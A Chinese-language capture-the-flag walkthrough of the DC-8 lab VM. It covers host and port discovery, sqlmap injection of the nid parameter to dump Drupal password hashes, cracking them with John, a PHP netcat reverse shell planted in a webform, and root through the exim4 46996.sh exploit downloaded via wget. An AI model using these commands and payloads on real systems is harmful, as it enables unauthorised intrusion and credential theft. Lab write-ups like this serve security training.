前言
靶机:DC-8,IP地址:192.168.52.141
攻击机:Kali,IP地址:192.168.52.134
一. 信息收集
1、下载安装并启动DC-8
下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。
在这里记一下DC-8的MAC地址,等下用的到。
启动DC-8时开机就好,因为不知道用户名和密码,所以登录不了
2、打开kali,查看kali的IP地址和子网掩码
因为DC-8和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-8的网络号
DC-8的网络号是:192.168.52.0/24
3、使用netdiscover扫描主机
netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.52.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
或使用arp-scan -l命令拿到DC-8的IP地址
arp-scan -l
根据之前记下的MAC地址确定扫描到的主机哪一个是DC-8,因为MAC地址是主机的唯一标识。
获得DC-8靶机ip:192.168.52.141(可通过kali浏览器访问进行验证)
4、使用nmap扫描DC-8,看有什么服务是可利用的(端口扫描)
root@kali:~# nmap -sV -A 192.168.52.141
-sV只扫描端口及其版本号
-A扫描端口的详细信息
发现目标机开放了22、80端口。
5、我们以80端口作为突破口,访问80,查看基本信息
可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息
Wappalyzer相关信息:
利用dirsearch进行网站目录扫描:
dirsearch -u 192.168.52.136 -e * -i 200
-i 状态码 只显示该状态码
-x 状态码 不显示该状态码
发现后台登入框
6、进行漏洞查找
在前面点击Details的几个链接,然后发现url里有个nid参数,尝试检测注入:
a、单引号报错:错误信息是多了个单引号
b、尝试and 1=1#和and 1=2#
确定存在sql注入漏洞
二. 漏洞利用
1. SQL注入
利用kali自带的sqlmap工具进行自动化注入:
a、列出所有数据库:
sqlmap -u "http://192.168.52.141/?nid=1" --batch --dbs
--batch 默认确认,不询问你是否输入
--dbs列出所有数据库
b、列出指定数据库的所有表
sqlmap -u "http://192.168.52.141/?nid=1" --batch -D d7db --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 获取表名
c、查看所有字段
sqlmap -u "http://192.168.52.141/?nid=1" -D d7db -T users --columns
-T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
--columns 获取字段
这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可
d、查看用户名与密码
sqlmap -u "http://192.168.52.141/?nid=1" -D d7db -T users -C name,pass --dump
-C 指定字段
--dump 获取数据信息
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
密码是加密过的,没有加密函数只能爆破密码了
2. 密码爆破
利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明
先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
得到john用户的密码为:turtle,而admin用户的密码破解不出来,登入后台
3、反弹shell
发现Contact Us 页面可以修改,所以可以直接写入一个shell,然后将其反弹到攻击机。
点击edit后选择WEBFORM -> Form settings:
然后选择phpcode,然后写上一句话反弹shell:
<?php system("nc -e /bin/sh 192.168.52.134 4444"); ?>
拉到最下面保存:
在kali开启监听4444端口,然后访问Contact Us:
nc -lvvp 4444
插入一句话弹shell的是在提交数据后才会执行,所以submit:
成功弹回shell:
获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
三、提权
1、使用命令查看是否有suid的提权的命令
find / -perm -u=s -type f 2>/dev/null
找到一个exim4的命令,查看其版本
/usr/sbin/exim4 --version
2、查找漏洞
使用searchsploit来寻找版本漏洞
searchsploit exim 4
盯住 privilege escalation,选定46996.sh脚本文件
将脚本复制到本地,命令为shell.sh
或者也可以在此链接直接下载该exp:https://www.exploit-db.com/exploits/46996
cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh
3、把脚本文件导入到DC-8靶机
接着在桌面开启http服务,将shell.sh脚本文件导入到DC-8靶机里
python3 -m http.server 8888
浏览器访问一下开启的http服务
出现这个说明服务开启成功,exp地址是
http://192.168.52.134:8888/shell.sh
回到我们的虚拟终端,利用wget命令下载该工具,而在靶机中下载脚本时,只能在靶机的tmp目录下下载,因为/tmp目录的权限大。
cd /tmp
wget http://192.168.52.134:8888/shell.sh
4、执行脚本文件,获得root权限,得到flag
查看shell.sh脚本文件
脚本有两种执行方式:
./shell.sh -m setuid
./shell.sh -m netcat
赋予脚本权限,然后执行脚本
chmod 777 shell.sh #赋予脚本权限
./shell.sh -m netcat #执行脚本
执行后很快就会断开连接,所以需要快点,得到flag